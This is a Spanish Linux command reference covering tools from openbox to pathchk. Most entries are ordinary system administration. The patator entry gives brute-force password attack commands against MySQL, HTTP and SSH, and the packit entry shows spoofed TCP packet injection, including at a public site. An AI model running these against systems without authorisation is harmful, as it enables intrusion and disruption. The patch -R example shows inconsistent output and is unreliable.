$ only -l 3/palabra/0:2 text.txt
muestra la 3ª vez que sale "palabra" y las siguientes 2 líneas
```

## oowrite

Procesador de textos de la suite ofimática openoffice.

```
$ oowriter -pt pdf archivo.doc
```

## open

[xdg-open] Abrir archivos o URLs con la aplicación predeterminada.

```
$ open http://google.com
abre con el navegador predeterminado
```

```
$ open archivo.txt
con el editor predeterminado
```

## openbox

Gestor de ventanas

```
$ openbox --replace
Activa openbox
```

```
$ openbox --restart
Reinicia
```

```
$ openbox --reconfigure
Relee los archivos de configuración después de una modificación
```

Los archivos de configuración se encuentran en el directorio: `.config/openbox:`

- `autostart`

Donde se colocan las aplicaciones que arrancan cuando se inicia el sistema. La sintaxis es:

```
(sleep 1 && nitrogen --restore) &
(sleep 2 && lxpanel) &
(sleep 3 && liferea) &
(sleep 3 && volumeicon) &
(sleep 3 && idesk) &
Retrasar [sleep] algunos segundos [1, 2, 3] el lanzamiento de las aplicaciones y dejar los
procesos en background [&]
```

- `rc.xml`

Archivo de configuración de los atajos de teclado y ratón. Cada atajo ha de colocarse en el interior de la etiqueta a la que correspondan: atajos de teclado entre `<keyboard>` y `</keyboard>`, los de ratón entre `<mouse>` y `</mouse>`...

Ejemplo para abrir firefox pulsando la tecla Win + f:

```
<keybind key="W-f">
  <action name="execute">
    <execute>firefox</execute>
  </action>
</keybind>
```

Ejemplo para mostrar el menú del botón derecho del ratón pulsando las teclas Ctrl + Alt + m:

```
<keybind key="C-A-m">
  <action name="ShowMenu">
    <menu>root-menu</menu>
  </action>
</keybind>
```

- `menu.xml`

El menú que se muestra con el botón derecho del mouse.

1.-

Cuando no se montan automáticamente los dispositivos usb que se conectan:

Añadir una o varias líneas a `/etc/fstab` con el siguiente contenido:

```
/dev/sdc1 /media/pen1 auto rw,users,noauto 0 0
```

Modificando el nombre del dispositivo [ `sdcc2`, `sdcc3`...] en el gestor de archivos [thunar...] aparecerá el icono y con doble clic se montará el dispositivo.

## openclipart-svg

Colección de imágenes 100% libres de derechos de autor que pueden usarse sin ningún tipo de restricción. Han de visualizarse en el navegador y se encuentran en el directorio `/usr/share/openclipart/svg/*.` Están ordenadas por temáticas: `animals`, `buildings`, `computer`, `containers`, `decorations`... y en subcarpetas. Si se instalan los paquetes `openclipart-png` y `openclipart-libreoffice` las imágenes también se tendrán en formato png y podrán incrustarse en documentos de libre office.

```
$ firefox /usr/share/openclipart/svg/electronics/battery/battery_snuatautistico_04.svg
```

```
$ firefox /usr/share/openclipart/png/animals/birds/acquila_architetto_franc_01.png
```

## opendoas

[doas] Versión del comando doas de OpenBSD que es un reemplazo mínimo de sudo. Ejemplos de archivo de configuración /usr/share/doc/opendoas/examples/doas.conf y el archivo real de configuración:

```
# nano /etc/doas.conf
```

Colocar el contenido que deseemos: al usuario de forma persistente, cmd nombre\_del\_comando args argumento\_deseado y el grupo del usuario:

```
permit persist usuario
```

```
permit nopass usuario as root cmd apt args update
```

```
permit nopass usuario as root cmd apt args upgrade
```

```
permit :grupo_usuario
```

## openoffice

Suite ofimática

```
$ soffice --writer (--calc, --impress, --draw, --math, --base) Arrancar el programa
```

```
# spadmin
```

```
Administración de impresoras
```

Ajustes

1.-

Para que las presentaciones no se abran automáticamente:

Descargar (ImpressRunner.oxt):

Abrir Impress y en herramientas -> administrador de extensiones -> agregar

Buscar el archivo descargado. Reiniciar la aplicación. Cuando inicie la presentación, clicar esc y cancelar.

2.-

Para previsualizar en miniaturas los documentos:

```
# apt-get install ooo-thumbnailer
```

## openssl

Codificador/descodificador

```
$ openssl aes-128-cbc -salt -in texto -out encriptado.aes128
encriptar
```

```
$ openssl aes-256-cbc -d -salt -in encriptado.txt -out desencriptado.txt
desencriptar
```

```
$ cat texto.txt | gzip | openssl des3 -salt -k clave > texto.txt.des3
```

```
$ openssl list-cipher-commands
listar todas las opciones de encriptado
```

```
$ openssl enc -des3 -in archivo.tar.bz2 -out cifrado.tar.bz2.ssl
cifrar paquetes
```

```
$ openssl enc -d -des3 -in cifrado.tar.bz2.ssl -out archivo.tar.bz2
```

```
$ openssl rand -base64 6
generar una contraseña
```

```
$ openssl enc -base64 -in imagen.jpg
Codificar una imagen
```

Para visualizar el resultado del encriptado:

```
$ hexdump -C ejemplo.aes128
```

Nota.- la opción "a" indica que codificará con base64. "-salt" Añade potencia al cifrado.

## openvpn

Encapsular datos entre dos redes físicas usando una red privada virtual. Existen varios sitios de internet que ofrecen este servicio de forma gratuita. Aquí usaremos a modo de ejemplo frootvpn. Nos registramos en <<https://www.frootvpn.com/>> y descargamos el software:

```
$ wget https://www.frootvpn.com/files/frootvpn.ovpn
# mv frootvpn /etc/openvpn/
# openvpn /etc/openvpn/frootvpn.ovpn
Arrancar el servicio
```

Opcionalmente pueden cambiarse las DNSs:

```
# nano /etc/resolv.conf
```

Y colocar:

Nameserver 80.67.0.2

## openvt

lanza un programa en una nueva consola virtual [ttyX]. Ver deallocvt

```
# openvt -c 9 ifconfig
Lanzar ifconfig en la /dev/tty9
```

## opera

Navegador

1.-

Para que google no detecte al navegador y poder usar g+

En la barra de direcciones poner:

```
opera:config#ISP|Id
Y en el espacio en blanco poner:
```

```
AppleWebKit/535.1
Guardar y reiniciar.
```

2.-

Suprimir el icono de la bandeja de entrada [tray]

Entrar en:

about:config

Escribir la palabra tray en el buscador y deseleccionar:

Show Tray Icon.

También cambiando la orden en el editor de menu:

```
opera %u notrayicon
```

3.-

Aceleración por hardware (Opera-next 12)

about:config

Apartado User Prefs

Colocar los siguientes parámetros a 1:

Enable Hardware Acceleration

Enable WebGL

## operadores

(Bash scripting).

lógicos o de comparación de cadenas alfanuméricas:

```
= (Verdadero si las 2 cadenas son iguales)
!= (Verdadero si las 2 cadenas son distintas)
-n (Informa si la cadena tiene longitud mayor a cero)
-z (Informa si la cadena tiene longitud igual a cero)
== (Verdadero si las 2 cadenas son iguales [solo en bash])
< (Si una cadena es menor que otra)
> (Si una cadena es mayor que otra)
lógicos o de comparacion de valores numericos
```

```
x -lt y (x menor que y)
x -le y (x menor o igual que y)
x -eq y (x igual que y)
x -ge y (x mayor o igual que y)
x -gt y (x mayor que y)
x -ne y (x no igual que y)
De comprobacion de atributos de fichero
```

```
-d fichero (fichero existe y es un directorio)
-e fichero (fichero existe)
-f fichero (fichero existe y es regular [no un directorio])
-r fichero (si fichero tiene permiso de lectura)
-s fichero (fichero existe y no esta vacio)
-w fichero (si fichero tiene permiso de escritura)
-x fichero (si fichero tiene permiso de ejecucion o de busqueda si es un directorio)
-O fichero (si eres dueño del fichero)
-G fichero (si el grupo del fichero es igual al tuyo)
Algunos ejemplos:
```

1.-

Comprobar si un fichero tiene datos:

```
#!/bin/bash
A=/etc/fstab
if [ -s "$A" ]
then
    echo "Tiene datos"
else
    echo "No los tiene"
fi
2.-
```

Comprobar si un directorio es el personal del usuario:

```
#!/bin/bash
read -p "Ingrese un directorio: " DIR
if [ $DIR = home ]
then
    echo "Es tu directorio personal"
else
    echo "No es tu home"
fi
exit 0
3.-
```

Verificar si un archivo pasado como argumento existe o no:

```
#!/bin/bash
if [ $# -eq 0 ]
then
    echo "Falta el parametro"
    exit
else
    if [ -f $1 ]
    then
        echo "archivo existe"
    else
        echo "archivo no existe"
    fi
fi
```

## oping

Utiliza paquetes ping para probar la accesibilidad de los hosts de red.

```
$ oping -4 -i 2 host1 host2 host3
usando IPv4, con un intervalo de 2 segundos y a los hosts especificados
```

## opkg

Gestor de paquetes de OpenWRT, firmware linux para routers.

```
# opkg update
actualiza la lista de paquetes
```

```
# opkg install paquete
instalar un paquete
```

```
# opkg upgrade paquete
actualiza un paquete
```

```
# opkg remove paquete
elimina un paquete
```

```
# opkg list
ver paquetes disponibles
```

```
# opkg list-installed
ver paquetes instalados
```

```
# opkg list-upgradable
ver paquetes actualizables
```

```
# opkg files paquete
Ver ficheros instalados de un paquete y la versión del mismo
```

```
# opkg info paquete
ver información de un paquete
```

```
# opkg find palabra
buscar paquetes por nombre y descripción
```

## optipng

Optimización de imágenes .png. La reducción de tamaño es poca pero no pierde calidad. Como modo indicativo, un directorio con 5 imágenes con un peso de 27,5 MB pasa a 25,8 MB.

```
$ optipng imagen.png
Sobreescribe la imagen.png
```

```
$ optipng imagen.png -out nueva_imagen.png
Guardar la salida con otro nombre
```

```
$ optipng -dir imagenes
De todas las imágenes de un directorio
```

```
$ optipng -k -o7 *.png (máxima compresión de todas las imágenes y sin sobreescribir las originales)
) [.bak]
```

## orca

Lector de pantalla para personas con discapacidad visual, proporciona acceso alternativo al escritorio mediante síntesis de voz y braille.

## ossec

Sistema de detección de intrusos. Durante la instalación, una vez escogido el idioma, se realizan una serie de preguntas sobre si se desea recibir por correo las notificaciones [en este caso precisa postfix], lugar de instalación [/var/ossec], si la instalación va a ser local, servidor... y otras cuyos parámetros por defecto son suficientes.

```
$ wget http://www.ossec.net/files/ossec-hids-2.6.tar.gz
```

```
# /var/ossec/etc/ossec.conf
Archivo de configuración:
```

```
# /var/ossec/bin/ossec-control start
Arrancar el demonio caso de no colocarlo en /etc/init.d/ossec
```

## otfinfo

[lcdf-typetools]. Mostrar las características OpenType ofrecidas por una fuente.

```
$ otfinfo -s /usr/share/fonts/truetype/freefont/FreeSans.ttf
Idiomas soportados
```

```
$ otfinfo -p .fonts/3Dumb.ttf
muestra el nombre postscript
```

```
$ otfinfo -f /usr/share/fonts/truetype/freefont/FreeMono.ttf
todas las opciones disponibles
```

## otp

Generador de contraseñas.

```
$ otp -c6 -S3 -n5
Crearé 5 contraseñas [-n] por defecto son 50, de 6 letras mayúsculas [-c] separadas por un guión
de 3 en 3 [-S] por defecto son de 4 en 4
```

Algunas opciones:

-d8 (Empleando sólo 8 números)

-l6 (6 letras en minúscula)

## ots

Lee un texto y decide qué frases son importantes y cuáles no.

```
$ ots texto.txt -h > salida.html
crea un breve resumen, resalta la idea principal en el texto y el resultado a un archivo html
```

```
$ ots -a texto.txt
solo genera el resumen
```

## outguess

Herramienta de encriptación

```
$ outguess -k password -d mensaje.txt imagen.jpg resultado.jpg
Embebe el mensaje en una imagen con la contraseña especificada
```

```
$ outguess -k password -r resultado.jpg mensaje.txt
saca el mensaje de la imagen
```

## owl

Instalador de paquetes para archlinux.

```
$ owl refresh
Refrescar la lista de paquetes

$ owl update
Refrescar la lista y actualizarlos [-Syu]

$ owl pull
Actualizar AUR

$ owl install paquete (Instalar un paquete [-S])

$ owl upgrade paquete
Actualizar el paquete

$ owl downgrade paquete
Desactualizar paquete

$ owl remove paquete
Eliminar paquete

$ owl download paquete
Descargar el paquete de AUR

$ owl search palabra
Buscar palabras relacionadas

$ owl query palabra
Buscar palabra relacionada en local

$ owl info paquete
Buscar información de paquete

$ owl deps paquete
Mirar dependencias

$ owl version paquete
Ver la versión del paquete

$ owl description paquete
Ver descripción del paquete

$ owl list paquete
listar los paquetes que se instalan con paquete

$ owl orphans
Listar paquetes de AUR instalados y desatendidos
```

## owncloud

[apache2 php5 php-pear php-xml-parser php5-sqlite php5-json sqlite php5-mysql mp3info curl libcurl3 libcurl3-dev php5-curl zip php5-gd]. Nube de almacenamiento tipo dropbox, minux, google-drive ... pero no comercial y libre, gestionado totalmente via web. Descargar de <<http://owncloud.org/>> la última versión. Una vez bajado el paquete tar.bz2:

```
$ tar -xvf owncloud*.tar.bz2
Descomprimir

$ mv owncloud /var/www/
mover la carpeta al directorio web

# chown -R www-data:www-data /var/www/owncloud
Crear usuario y grupo

# /etc/init.d/apache2 restart
reiniciar apache2
```

Terminar la configuración [administrador, contraseña, base de datos..] abriendo en el navegador la dirección:

<http://localhost/owncloud>

Todo lo que se arrastra a la ventana del navegador se incluye en la nube.



---

## P

---

### p0f

identifica huellas de sistemas operativos de forma pasiva (solo escuchando)

```
# p0f -i eth0
```

```
# p0f -A -i eth0
```

averiguar conexiones que nos realizan o pasan por nuestra máquina

```
# p0f -R -i eth0
```

con conexiones que nos rechazan el tráfico

Nota.- Lanzar la aplicación, visitar distintas páginas con el navegador y mirar en la consola lo que aparece.

### p11tool

[gnutls]. Programa que permite operar con tarjetas inteligentes PKCS #11 y módulos de seguridad. Para usar los tokens de PKCS #11 con GnuTLS, los archivos de configuración de p11-kit necesitan ser configurados, es decir, crear un fichero en /etc/pkcs11/module con el contenido módulo /path/to/pkcs11.so. Alternativamente, el archivo de configuración /etc/gnutls/pkcs11.conf tiene que existir y contener un número de líneas de la forma 'load=/usr/lib/opensc-pkcs11.so'.

```
$ p11tool --list-tokens
```

enumera todos los códigos disponibles

```
$ p11tool --list-token-urls
```

enumera las URLs de los códigos disponibles

```
$ p11tool --list-all
```

enumerar todos los objetos disponibles en un código

```
$ p11tool --list-all-certs
```

todos los certificados disponibles en un código

```
$ p11tool --list-all-privkeys
```

las claves privadas disponibles en un código

### pacdiffviewer

En Arch, busca archivos de configuración nuevos y obsoletos [pacnew, pacsave] para gestionarlos [eliminarlos, reemplazarlos..]

### package-update-indicator

Utilidad que comprueba periódicamente las actualizaciones de software y notifica al usuario sobre las actualizaciones disponibles mediante notificaciones de escritorio y/o un icono de notificación de estado o un icono en la bandeja del sistema.

## packer

(gui: blinky). Gestor rápido de paquetes pacman y aur con funcionalidades básicas [-Ss , -S, -Syu y -Si]. Para evitar conflictos entre rutas de pacman y aur, instalar diffpac.

```
$ packer -S --noconfirm paquete
Instalar sin pedir confirmación
```

```
$ packer -Syu --auronly
Actualizar y sincronizar sólo los paquetes de aur
```

```
$ packer -Si paquete
información sobre paquete
```

```
$ packer -G paquete
descargar sin instalar un tarbal de aur
```

## packit

Herramienta de auditoría de red [Packet toolkit]. Su valor se deriva de su capacidad para personalizar, inyectar, monitorear y manipular el tráfico IP. Al permitirle definir [spoof] casi todas las opciones de encabezado TCP, UDP, ICMP, IP, ARP, RARP y Ethernet, Packit puede ser útil para probar cortafuegos, sistemas de detección/prevenición de intrusiones, escaneo de puertos, simulación de tráfico de red y auditoría general TCP/IP.

```
# packit -t UDP -d 192.168.1.4 -D 1024 -i x10 -h
inyección de paquetes UDP con respuesta de host [-h]
```

```
# packit -m cap 'tcp and not port 22'
imprimir todas las comunicaciones TCP que no giren en torno a SSH [puerto 22]
```

```
# packit -m cap -c 10 -w /tmp/mylog 'icmp'
escribir los primeros 10 paquetes ICMP capturados en un archivo
```

```
# packit -t icmp -s 22.03.55.9 -d 192.168.0.1 -c 10 -h
Inyectar 10 paquetes ICMP tipo 8 [petición de eco] desde el host '22.03.55.9' al host
'192.168.0.1' y esperar una respuesta
```

```
# packit -t icmp -K 18 -d 127.0.0.1 -N 211 -G 255.255.255.0
Inyectar paquete de tipo ICMP 18 [respuesta de máscara] con un ID ICMP de 211 y máscara de
dirección de 255.255.255.255.0
```

```
# packit -sR -d www.microsoft.com -F S -c 5 -W 666 -eR -E f:00:d:f:00:d -p 'HI BILL' -v
Inyectar 5 paquetes TCP desde hosts aleatorios a 'www.microsoft.com' con el flag set SYN, con
tamaño de ventana de 666, dirección ethernet de fuente aleatoria, una dirección ethernet de
destino de f:00:d:f:00:d, con una carga útil de "HI BILL", mostrando cada paquete inyectado
```

```
# packit -s 192.168.0.1 -d 192.168.0.20 -S 403 -D 80 -F SR -q 12345678910 -c 1000 -b 20 -e
0:0:0:0:0:0
Inyectar un total de 1000 paquetes TCP en ráfagas de 20 paquetes por segundo desde 192.168.0.1 en
el puerto 403 hasta 192.168.0.20 en el puerto 80 con los indicadores SYN y RST configurados, un
número de secuencia de 12345678910 y una dirección ethernet de origen de 0:0:0:0:0:0
```

```
# packit -s 10.22.41.6 -d 172.16.1.3 -D 1-1024 -F S -v
Inyectar paquetes TCP de 10.22.41.6 a 172.16.1.3 en puertos de 1-1024 con el indicador SYN
activado, mostrando cada paquetes que enviamos
```

```
# packit -m trace -t UDP -d 192.168.2.35 -S 53
Aparecer como una respuesta DNS utilizando el puerto de origen UDP 53
```

```
# packit -m trace -t TCP -d www.google.com -S 80 -FS
Aparecer como tráfico HTTP utilizando el puerto TCP 80
```

## paclist

Lista los paquetes instalados del repositorio especificado.

```
$ paclist community
otras opciones: core, archlinuxfr, extra
```

## pacman

Gestor de programario de distros archlinux. Ver tambien yaourt.

```
# pacman -S prog1 prog2
instalar/actualizar paquetes y dependencias
```

```
# pacman -S extra/paquete
especificando versión- extra o testing-
```

```
# pacman -Sc
Borrar paquetes de versiones viejas
```

```
# pacman -Scc
Borrar caché de pacman - /var/cache/pacman/pkg -
```

```
# pacman -Si paquete
buscar información de paquete
```

```
# pacman -Ss paquete
buscar por nombre o descripcion paquete
```

```
# pacman -Sw paquete
Bajar un paquete sin instalarlo
```

```
# pacman -Sy paquete
Sincronizar e instalar
```

```
# pacman -Syu
sincronizar y actualizar todo el sistema
```

```
# pacman -Sh
Ver las opciones de sincronización de la base de datos
```

```
# pacman -R paquete
borrar dejando las dependencias instaladas
```

```
# pacman -Rs paquete
borrar con dependencias no usadas por otros
```

```
# pacman -Rsn $(pacman -Qdtq)
Borra paquetes huérfanos
```

```
# pacman -R --nosave paquete (Borra el paquete y toda la configuración).
```

```
# pacman -Rdd paquete (Forzar la eliminación de un paquete).
```

```
# pacman -Qh
Ver opciones de consultas locales de la base de datos
```

```
# pacman -Qi paquete
información de un paquete local
```

```
# pacman -Qs paquete
buscar en los paquetes instalados
```

```
# pacman -Qm
Buscar paquetes que no están en los repos
```

```
# pacman -Ql paquete
Listar los archivos contenidos en un paquete
```

```
# pacman -Qo /ruta/a/archivo
a qué paquete pertenece un archivo
```

```
# pacman -Qdt
Busca paquetes huérfanos, sin borrarlos
```

```
# pacman -U /ruta/al/paquete/paquete-version.pkg.tar.gz
Ins. local
```

```
# pacman-optimize && sync
agrupar información
```

```
# pacman-db-upgrade
Recargar la base de datos
```

## pacman-color

Igual que pacman pero coloreando algunas partes de la salida (repositorio, versión, si está instalado...)

## pacman-optimize

Reagrupa archivos fragmentados de la base de datos de pacman

```
# pacman-optimize
```

## pacmd

Herramienta para reconfigurar un servidor de sonido PulseAudio.

```
$ pacmd
```

## pacsearch

Buscar paquetes arch (Equivalente a pacman -Ss )

```
$ pacsearch mail
```

## pactree

Muestra dependencias de un paquete.

```
$ pactree -c opera
muestra el arbol coloreado
```

```
$ pactree -u opera
lo muestra de forma lineal y sin duplicados
```

```
$ pactree -g htop > archivo
envia la salida a un archivo que puede ser interpretado por la aplicación de graficos graphviz [ver]
```

## pacworld

Herramienta para comprobar la consistencia de la base de datos y arreglar paquetes rotos.

```
# pacworld -v --exec
```

## pads

Monitor de tráfico de red

```
# pads -i eth0
```

## pagein

Herramienta para forzar que las páginas que estan en swap vuelvan a la memoria.

```
# pagein -a
Intentar paginar en todos los procesos. No se puede utilizar con la opción -p
```

```
# pagein -p 949
indicando el PID de un proceso
```

## pagemon

Herramienta de monitoreo de memoria interactiva basada en ncurses que permite explorar el mapa de memoria de un proceso activo en ejecución.

```
# pagemon -p PID
# pagemon -p proceso
```

## pal

Calendario con eventos [para us, australia, austria, musicales ...]. Al ejecutar por primera vez la aplicación, se crea el archivo ~/pal/pal.conf donde podrán deshabilitarse los eventos que no interesan. Para activar que las semanas empiecen por lunes:

```
$ nano .pal/pal.conf
```

week\_start\_monday

```
$ pal -c 10
Muestra el calendario con 10 lineas. Por defecto 5
```

```
$ pal --color
Lo muestra a color. --nocolor para blanco y negro
```

## pandoc

Conversor de formatos de documentos. La entrada puede ser cualquier documento en haskell, markdown, rst, html, txt o latex y la salida, txt, haskell, markdown, rst, html, latex, man, context, texinfo, docbook, opendocument, odt, s5 o rtf.

```
$ pandoc -o salida.html entrada.md
Convertir markdown a html
```

```
$ pandoc -f markdown -t org -o salida.org entrada.md
Convertir markdown a org-mode
```

```
$ pandoc entrada.txt -o salida.pdf
Convertir txt a pdf
```

```
$ pandoc texto.txt -o libro.epub
Convertir a epub
```

```
$ pandoc -f html -t markdown -o pagina.md pagina.html
Convertir de html a markdown
```

```
$ pandoc -f markdown -t latex -o texto_latex.tex texto_markdown.md
Convertir texto en markdown a latex
```

```
$ pandoc -f gfm -o salida.html entrada.txt
Desactiva el soporte de TEX a la hora de leer [no interpreta codigo TeX]
```

## paplay

Reproducción de audio en formatos pulseaudio (flac)

```
$ paplay archivo.flac
```

## parallel

Ejecutar varias aplicaciones en paralelo.

```
$ parallel -- who pwd "echo ++++++"
$ parallel sh -c "echo linux es genial; sleep 2; echo ... o no" -- n 2
dos veces
```

## paris-ping

[paris-traceroute]. Nueva versión de la herramienta ping [ver]

```
# paris-ping lapipaplana.org
```

## paris-traceroute

Nueva versión de la herramienta traceroute [ver].

```
# paris-traceroute lapipaplana.org
```

## parsero

Es un script escrito en Python que lee el archivo Robots.txt de un servidor web a través de la red y examina las entradas Disallow. Las entradas Disallow indican a los motores de búsqueda qué directorios o archivos alojados en un servidor web no deben indexarse. Por ejemplo, "Disallow: /portal/login" significa que el contenido de www.example.com/portal/login no puede ser indexado por rastreadores como Google, Bing, Yahoo o el que proceda.

```
$ parsero -u localhost
```

```
$ parsero -sb -u google.es
```

```
$ parsero -f archivo.txt
```

de varias url, una por línea, de un archivo

## partclone

Software diseñado para realizar backups y restauración de particiones. Realizar las operaciones sobre particiones no montadas.

```
$ partclone.ext4 -c -d -s /dev/sda1 -o ~/imagen.img
```

Crear la imagen de sda1

```
$ partclone.ext4 -r -d -s ~/imagen.img /dev/sda1
```

Restaurar la imagen sobre la particion sda1

## parted

Formatear y crear particiones en discos y unidades extraíbles. A continuación se muestra el proceso:

Entrar en el prompt:

```
# parted
GNU Parted 3.2
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted)
Tecleando ? o help muestra todos los comandos. Identificar los discos.
```

```
(parted) print devices
/dev/sda (500GB)
/dev/sdc (2022MB)
Imaginemos que queremos trabajar sobre el /dev/sdc. La seleccionamos:
```

```
(parted) select /dev/sdc
Using /dev/sdc
A partir de ahora no es necesario especificar device puesto que todo será referido a /dev/sdc.
```

```
(parted) print
Model: Intenso Business (scsi)
Disk /dev/sdc: 2022MB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:
Number  Start   End     Size    Type     File system  Flags
 1      1049kB  2022MB  2021MB  primary  fat32
(parted)
Borrar la tabla de particiones y comprobar que "print" no muestra datos como en el caso anterior:
```

```
(parted) rm 1
(parted) print
Model: Intenso Business (scsi)
Disk /dev/sdc: 2022MB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:
Number  Start   End     Size    Type     File system  Flags
(parted)
Crear nueva etiqueta de disco (algunas opciones: bsd, gpt[IBM], mac, msdos...). Parted nos informa
que a partir de este punto se perderan los datos de este disco y si queremos continuar (
teclear "yes"):
```

```
(parted) mklabel msdos
Warning: The existing disk label on /dev/sdb will be destroyed and all data on this disk
will be lost. Do you want to continue? Yes/No? yes
(parted)
Creamos la nueva partición (sin sistema de archivos) contestando a cada pregunta y con "print"
verificamos el resultado:
```

```
(parted) mkpart
Partition type? primary/extended? primary
File system type? [ext2]? ext4
Start? 1
End? 2022MB
(parted) print
Model: Intenso Business (scsi)
Disk /dev/sdc: 2022MB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:
Number  Start   End     Size    Type     File system  Flags
 1      1000kB  2022MB  2021MB  primary  ext4         lba
(parted)
Con parted podemos dar formato a la partición pero recomiendan hacer uso de herramientas
especificas para ello (mkfs.ext4, e2fsprogs), además no soporta ni ext3 ni ext4 (aunque como
podemos ver en "File system" dice ext4), sólo ext2 y según el dispositivo, solo fat32. Otros
comandos que podemos usar dentro del prompt de parted son:
```

```
print all (Para ver más información de los dispositivos conectados)
mklabel (Pregunta nuevo sistema de archivos [msdos, bsd, mac...])
print free (Ver espacio libre de los dispositivos)
check NUM (Chequear una partición especificada con NUM)
rescue INICIO FIN (Recuperar una partición especificando bytes del inicio y final)
quit (Salir del prompt)
```

## partprobe

Releer la tabla de particiones después de alguna modificación en ella, sin necesidad de reiniciar.

```
# partprobe
```

```
# partprobe /dev/sda
especificando un disco
```

```
# partprobe -s
resumen de las particiones
```

## partx

Informa sobre particiones y discos.

```
# partx -s /dev/sda
Mostrar el número de particiones
```

```
# partx -b /dev/sda
Muestra las medidas de las particiones
```

```
# partx -s /dev/sda4 /dev/sda
Información sobre la partición núm 4 de sda
```

```
# partx -l /dev/sda
Listar las particiones
```

## pass

Gestión de archivos de contraseñas. Cada contraseña está dentro de un archivo encriptado gpg cuyo nombre de archivo es el título del sitio web o recurso que requiere la contraseña. Todas las contraseñas se guardan en ~/.password-store y pass proporciona comandos para añadir, editar, generar o recuperar contraseñas. [www.DeepL.com/Translator](http://www.DeepL.com/Translator)

```
$ pass init "Cripta supersecreta"
primer paso para crear el archivo .password-store. Pedirá contraseña y confirmación
```

```
$ pass insert Mails/nombre@site.com
guardar en la carpeta "Mails" un correo. Pedirá contraseña y confirmación
```

```
$ pass nombre@site.com
después de introducir la contraseña entrada en "init", pondra la de nombre@site.com
```

```
$ pass -c nombre@site.com
después de introducir la contraseña entrada en "init" guardará la contraseña de nombre@site.com en el portapapeles
```

```
$ pass generate Mails/registro.com 12
generar una contraseña de 12 caracteres del sitio "registro.com" y la guardar en la carpeta "Mails" de pass
```

```
$ pass generate -i Mails/registro.com 18
subsdtituirá la que exista por otra de 18 caracteres
```

```
$ pass rm Mails/nombre@site.com
eliminar los datos de un email guardado
```

```
$ pass
ver la estructura del archivo .password-store
```

```
$ pass ls
lo mismo
```

```
$ pass show Mails
mostrar todos los correos de la carpeta "Mails"
```

```
$ pass grep contraseña
busca "contraseña" y muestra a qué sitio pertenece y en que carpeta está
```

```
$ pass find .com
muestra los sitios entrados con *.com
```

```
$ pass search .com
lo mismo
```

```
$ pass insert -m Mails/nombre@site.com
una vez entrada la contraseña podrán entrarse datos hasta finalizar con C-d
```

```
$ pass Mails/nombre@site.com
Muestra los datos auxiliares que se han entrado menos la contraseña
```



## passwd

Cambiar contraseñas

```
# passwd -f usuario
Cambia por completo los datos del usuario

# passwd -l root
Desactiva la contraseña root

# passwd usuario
Solicita la contraseña de usuario y la restablece
```

## paste

Combina archivos, juntando las primeras líneas con las primeras, las segundas con las segundas...

```
$ paste 1.txt 2.txt > 3.txt
$ paste -d'\n' 1.txt 2.txt > 3.txt (con un salto de línea para cada línea)
```

## patat

[cabal-install]. Herramienta que permite mostrar presentaciones en una terminal. Utiliza la librería Pandoc, la cuál, además de ofrecer soporte para Markdown, también permite una infinidad de formatos de entrada. No muestra imágenes y los para los resaltados (negrita, cursiva...) usa colores. Una vez instalado el paquete (apt-get install cabal-install) añadir a .bashrc la línea:

```
export PATH=$PATH:$HOME/.cabal/bin
He instalar como usuario sin privilegios el paquete:
```

```
$ cabal install patat
```

```
$ patat presentacin.md
arrancar la presentación
```

Teclas de control:

```
Siguiente: espacio, enter, l,
Anterior: retroceso, h,
Adelantar 10 diapositivas: j,
Retroceder 10 diapositivas: k,
Ir a la primera: 0
Ir a la última: G
Actualizar: r
Finalizar: q
```

## patator

Para ataques de adivinación de contraseñas por fuerza bruta. Incluye varios módulos que empiezan por el protocol al que atacan: ftp\_, ssh\_, telnet\_, http\_, mysql\_ ...

```
# patator mysql_login user=root password=FILE0 0=/root/passes.txt host=127.0.0.1 -x ignore:fgrep='
Access denied for user'
ataque de fuerza bruta MySQL [mysql_login] con el usuario root [usuario=root] y las contraseñas
contenidas en un archivo [password=FILE0 0=/root/passes.txt] contra el host dado [host=127.0.0.1],
ignorando la cadena especificada [-x ignore:fgrep='Acceso denegado al usuario']
```

```
# patator http_fuzz auth_type=basic url=http://10.1.1.15 user_pass=FILE0 0=./passwd_lists/
user_pass.txt -x ignore:code=401
ataque html básico, a la url especificada con las contraseñas contenidas en ./passwd_lists/
user_pass.txt, ignorando la cadena mencionada
```

```
# ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-
retries 0 --timeout 10 -x ignore:time=0-3
```

## patch

Herramienta que permite aplicar un parche a un determinado fichero o directorio. Toma un fichero que contiene un listado de diferencias producidas por el programa diff y esas diferencias se aplica a uno o más archivos. Los nombres de los archivos para ser parcheados por lo general se toman del fichero del parche, pero si hay un solo archivo para ser parcheado puede ser especificado en la línea de comandos como originalfile.

1.-

Aplicar un parche a una aplicación instalada.

```
$ wget http://host/parche.patch
Descargar el parche
```

```
# patch --backup /usr/bin/aplicacion_a_parchear ~/parche.patch
```

Un ejemplo completo en archivos de texto:

Tenemos dos ficheros, file1 (archivo original) y file2 (archivo modificado) con el siguiente contenido:

```
$ cat file1
Me gusta linux
$ cat file2
Me gusta la libertad
Generar el parche parche con el comando diff:
```

```
$ diff -u file1 file2 > file.patch
$ cat file.patch
--- file1      2013-11-02 03:14:28.466555864 +0100
+++ file2      2013-11-02 03:14:46.230555684 +0100
@@ -1 +1 @@
-Me gusta linux
+Me gusta la libertad
Tenemos un tercer fichero con el siguiente contenido:
```

```
$ cat file3
Me gusta linux
No uso programario privativo
Y queremos parchearlo con el archivo que hemos creado previamente. El resultado sería el siguiente
:
```

```
$ patch file3 < file.patch
patching file file3
$ cat file3
Me gusta la libertad
No uso programario privativo
Para anular un parche previamente aplicado:
```

```
$ patch -R file3 < file.patch
patching file file3
$ cat file3
Me gusta la libertad
No uso programario privativo
```

```
$ patch -p0 < parche.patch
Aplica un parche .patch en el directorio actual. El parámetro p indica a partir de que nivel inferior de subdirectorio hay que aplicar el parche. El 0 es para el directorio actual
```

```
$ patch -R -p0 < parche.patch
Deshace los cambios aplicados por el parche anterior
```

## path

Ruta para acceder a los datos contenidos en una unidad de almacenamiento.

```
# echo $PATH | tr ':' '\n'
mostrará los dirs de los ejecutables
```

## pathchk

[coreutils]. Comprueba si un nombre de fichero es válido o portable en sistemas POSIX.

```
$ pathchk -p Juegos del niño
```

pathchk: el nombre del fichero niño contiene el caracter no portable ñ

